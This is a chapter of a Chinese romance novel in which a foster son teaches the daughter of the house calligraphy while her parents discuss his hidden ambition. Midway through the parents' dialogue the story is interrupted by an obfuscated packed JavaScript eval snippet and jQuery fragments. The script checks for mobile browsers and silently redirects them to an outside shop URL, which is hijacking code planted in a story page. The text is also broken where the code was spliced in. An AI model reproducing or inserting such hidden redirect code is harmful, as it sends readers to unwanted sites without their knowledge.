宋府的灯火明亮，书房里烛火静静燃着，将满架的书脊照得暖融融的。
宋玉章坐在书案前，正提笔练字。她写了一遍，不满意，又写了一遍，还是不满意，眉头微微皱着，嘴唇不自觉地抿了起来，看着宣纸上那几个歪歪扭扭的字，颇有几分跟自己生闷气的模样。
她自幼习字，对自己要求极高，今日不知怎的，这字总也写不出自己想要的模样。
正在一旁读书的程国恩见了，放下手中的书卷，起身走到宋玉章身边。他站定，微微俯身，目光落在宣纸上，又移到她微蹙的眉间，眼里带着绵绵的情意，连声音都比平日里柔了几分：“怎么皱着眉头？写个字倒像在跟自己打仗似的。”
宋玉章抬起头，烛光映在她的脸上，眼里也带着些许少女的羞涩，她指了指宣纸，轻声说道：“这个字我总是写不好。横竖撇捺都对，可就是少了一股气。”
程国恩微微一笑，那笑容温和而克制。他没有靠得太近，而是走到宋玉章身后，微微俯身，胸膛与她的后背隔着一尺有余的距离，保持着恰如其分的分寸——近得足以教她写字，远得不至于失了礼数。他伸出手，握住宋玉章握笔的手，声音轻柔而认真：“看仔细了，二哥教你。”
程国恩的手包裹住宋玉章的手时，他的手温暖而干燥，力道恰到好处。宋玉章的心微微一震，耳根子以肉眼可见的速度红了起来，从耳尖一路烧到了耳垂，心也跳着。她低着头不敢看他，只是柔声地应了一句：“好。”那声音轻得像春日里第一声燕啼。
程国恩看着宋玉章那红透了的耳根子和那柔声的回答，心里如同抹了蜜一般，一股暖流从心底淌过，嘴角的笑意压都压不住。
他没有说话，收敛了心神，开始握着宋玉章的手，一笔一画地教她写起字来。他的腕力沉稳，笔锋带着筋，横平竖直，撇捺舒展，每一笔每一画都带着筋骨，又透着几分温柔——那温柔不在纸上，在握着她手的分寸里。书房里安静极了，只有笔锋扫过宣纸的沙沙声，和两个人之间隔着的那一尺距离里微微发烫的空气。
宋玉章有些心猿意马，她能感受到他掌心的温度透过笔杆传过来，能感受到他近在咫尺的呼吸轻轻拂过她的发顶。那少女的心思写在了脸上——眼里有光，嘴角有笑，连写字的手都不那么听使唤了，写出来的那一横微微发颤，像是她此刻的心跳。
字写好了，程国恩直起身体，退后一步，重新与她保持着一尺有余的距离。他低头看着宣纸上那一个比之前好了太多的字，又看了看宋玉章那有些心不在焉的模样——她盯着字发呆，不知在想什么，嘴角还挂着一丝若有若无的笑。
程国恩嘴角忍不住一笑，他知道，她也喜欢他。这份确定让他的欣喜万分。不过，他旋即收敛了那抹笑意，恢复了平日里兄妹相处时的端正神态，拿起一旁的书卷，轻轻拍在宋玉章的头上，语气也换成了兄长式的调侃：“认真一些。写字便是写字，心不在焉可不成。”
此时，宋夫人和宋四维正站在书房门口。他们本是过来叫两个孩子早些歇息的，却恰好将方才那一幕看在了眼里——从程国恩握住女儿的手教她写字，到此刻他拿书轻轻拍她的头，两双眼睛看得一清二楚。
宋玉章被拍了一下头，哎哟一声回过神来，抬起头嗔怪地看着程国恩，腮帮子微微鼓起，语气里带着少女的娇嗔和几分撒娇的味道：“二哥是坏蛋！”
程国恩看着她那张生气的脸，宠溺地笑了笑，眼里满是温柔：“谁让你不认真。赶紧重新写一遍，写好了我要检查。若是写不好，我就告诉母亲，说你今日练字不认真，只顾着发呆。”
宋玉章撅着小嘴，嘟囔了一句“我才没有发呆”，然后乖乖拿起笔，重新铺开一张宣纸，蘸了墨，认真地写了起来。这一次，她的心静了下来，笔下的字也端正了许多。
程国恩看着宋玉章那如画的眉目——烛光下她的侧脸柔和而清丽，他又笑了笑，那笑容里藏着太多不能宣之于口的情意。然后他收回目光，回到自己的位置上，重新拿起书卷，神色如常地看了起来，仿佛方才什么也没有发生。
书房外，宋四维与宋夫人相视一笑，那笑容里有过来人的了然，也有为人父母者的复杂心绪。他们没有进去打扰，而是转身离开了书房，并肩在回廊上漫步。
回廊两侧的灯笼在夜风中轻轻摇曳，将他们的影子投在青砖地面上，时而交叠，时而分开。
宋夫人走了一段，才轻声开口，声音里有感慨，也有忧虑，像是把憋了许久的话终于吐了出来：“我们皆是过来人，这些少年少女的心思，哪里能瞒得过眼睛。国恩虽然规规矩矩，没有半分逾矩之举，但是他看着玉章的眼神，却是藏不住的——那里头带着一团火。玉儿对国恩的心思，更是写在脸上，连耳朵都红了。她自己或许以为没人知道，可我们这些做父母的，看一眼便明白了。”
宋四维背着手，走在妻子身侧，语气淡然，倒不似妻子那般忧心：“正是年少，哪个男女不怀春。咱们玉儿又生得这般姣好的容貌——这京城里谁不知道宋家大姑娘才貌双全，哪个少年郎见了不倾心。国恩朝夕相处，生情也是情理之中。若他日日面对玉儿而无动于衷，那倒反而说明他心如铁石，更让人不安了。”
宋夫人停下脚步，转过头望着丈夫，神色认真了几分，声音也压低了些——尽管回廊里除了他们二人再没有旁人，她仍然不由自主地放低了音量：“夫君，国恩绝非玉章良配。”
宋四维听了，也停下脚步，转过身看着妻子，月光落在他清俊的面容上，将眼角的细纹照得分明。他的声音依旧平静，没有反驳，只是问道：“怎样讲？”
宋夫人沉吟了片刻，像是在斟酌措辞。她知道程国恩是丈夫亲手从河里救上来的孩子，这么多年来丈夫对他倾注了无数心血，有些话说得太重，她自己也于心不忍。
可这些话，她不说，便没有人会说了：“国恩长得也一表人才——这我承认，他仪表堂堂，温文尔雅，言谈举止皆是翩翩君子之风。他看玉儿的眼神是很清澈，全是爱意，不掺杂其他杂质——这一点我也看在眼里，他对玉儿是真心的。可是，”她顿了顿，目光里透出一丝深沉的忧虑，“他的眼神太深沉了，颇有心机。那份心机平日里藏在温和有礼的表面下，轻易不示人，可我能感觉得到。一个人年纪轻轻便有这般城府，以后的人生路，不知是否会走偏。我是心疼玉儿——万一将来他走了弯路，玉儿该怎么办？”
宋四维沉默了很久。久到回廊尽头的灯笼被风吹得微微晃动，久到远处传来巡夜仆人的脚步声又渐渐远去。他当然知道夫人的话——她说的这些，他岂能看不出来？
宋四维识人无数，朝堂上那些老谋深算的官员在他面前都藏不住心思，何况是一个十几岁的少年。他早就看出程国恩心底那个暗涌的漩涡，那份对权势的渴望和不甘人下的野心。可他更清楚，人不是靠看透来改变的。
他轻轻叹了口气，那叹息声在夜色里散开，化成了若有若无的白雾。他终于开口，语气里有洞明世事的通透，也有一丝不易察觉的无奈：“每个人要走什么路，上苍早已注定，岂能尽如人意。我们收养国恩，将他从一个在河里漂泊的无名孤儿养到如今，教他读书明理，教他为人处世，已尽了养育的职责。以后的他，成什么样子，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618704|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走什么路，就交给上苍吧。有些人，你拉得了一程，拉不了一世。”
宋夫人听了，沉默良久，然后轻轻叹了一口气，那叹息里有心疼，有无奈，也有一种不祥的预感，像一片薄薄的云翳掠过心头：“当年收养国恩的决定，真不知道是福还是祸啊。我有时半夜醒来，想起他小时候那瘦骨伶仃的样子，又想起如今他那双越来越深不见底的眼睛，心里就像悬着一块石头，不知什么时候会落下来。”
宋四维岂能不知道程国恩那深藏的心思。他知道程国恩早晚有一天是要离开宋家的——一个志在权柄的人，怎会甘心在翰林院这座清贵而无实权的庭院里安身立命？
他甚至知道，程国恩私下与方继志来往，那不是一个好的征兆。可他没有点破，也没有阻拦。有些人，拦是拦不住的，越拦他越要去，越拉他越觉得你在挡他的路。
所以他并不指望程国恩能报答宋家的养育之恩，他只希望程国恩走了弯路、撞了南墙之后，知晓错了，还能调头，迷途知返。那便是宋家对这个养子最后的期许了。
至于程国恩与女儿玉章的姻缘，他也不想横加干涉。感情这东西，拦不住也推不得。如果月老早已把程国恩与女儿的红线绑在了一起，那么棒打鸳鸯只会适得其反，逼得两人越靠越紧。既然如此，不如顺其自然吧。该来的，无论如何抵挡都会来；不该来的，即使跪在佛前求千年万年也求不来。
宋四维伸手，将手轻轻搭在夫人的肩上，揽着她继续往前走。他的掌心温暖而有力，像这些年来无数次在风雨中给予她的支撑。
他的声音也比方才轻快了几分，带着一种看开之后的豁达，也带着对自己结发妻子特有的温柔：“人生一世，祸福相依。是福是祸，我们无法预知，也无需过分忧虑。一切顺其自然吧。良缘也好，孽缘也罢，都是玉儿自己要走的路。我们做父母的，只能陪她一程，陪不了一世。”
宋夫人抬起头，看着丈夫的侧脸。月光照在他清俊的轮廓上，他已不是当年那个少年得志的翰林郎了，眼角添了皱纹，可那双眼睛却依然是澄澈而温润的，像一汪深不见底的潭水，沉静地倒映着世间万物。
她露出了一抹温柔的笑，那笑容里有爱意，有敬重，也有一种相濡以沫多年的安心：“你啊，真是老庄最虔诚的弟子。什么事到了你这里，都能顺其自然。我年轻时刚嫁过来，被你的顺其自然气得牙痒痒，如今几十年过去了，倒也被你磨成了半个老庄弟子。”
宋四维哈哈一笑，那笑声在安静的夜色里显得格外舒畅。他抬头看着夜空中的明月，月色皎洁，清辉洒满了庭院，照得青石地面如同铺了一层薄霜。
远处传来更鼓声，在这万籁俱寂的夜里，听来格外悠远。他把手从夫人的肩上移到了她的手上，握住了她的手，十指相扣：“夫人，及时行乐。夜色如此美，你我何不踏月漫步庭中，岂能辜负这般良辰美景？”
宋夫人看着丈夫那双在月光下依旧明亮的眼睛，笑着点了点头，将头轻轻靠在他的肩头，柔声道：“夫君如此雅兴，我怎能不陪？”
于是，这对从成婚便一直恩爱的夫妻，便携手漫步于庭中。
月光将他们的影子投在青石地上，一高一矮，一前一后，时而交叠在一起。
庭院里的海棠花香在夜风中弥漫，暗香浮动，一阵一阵地拂过他们的衣衫。
远处书房里还亮着灯——那灯光透过窗纸，像是两颗年轻的心里各自藏着的秘密。
而这两个已经走过了青春、走过了风雨、走到了鬓发微霜的人，只是在月色里慢慢地走着，什么也没有再说。该说的，都在那相扣的十指里了。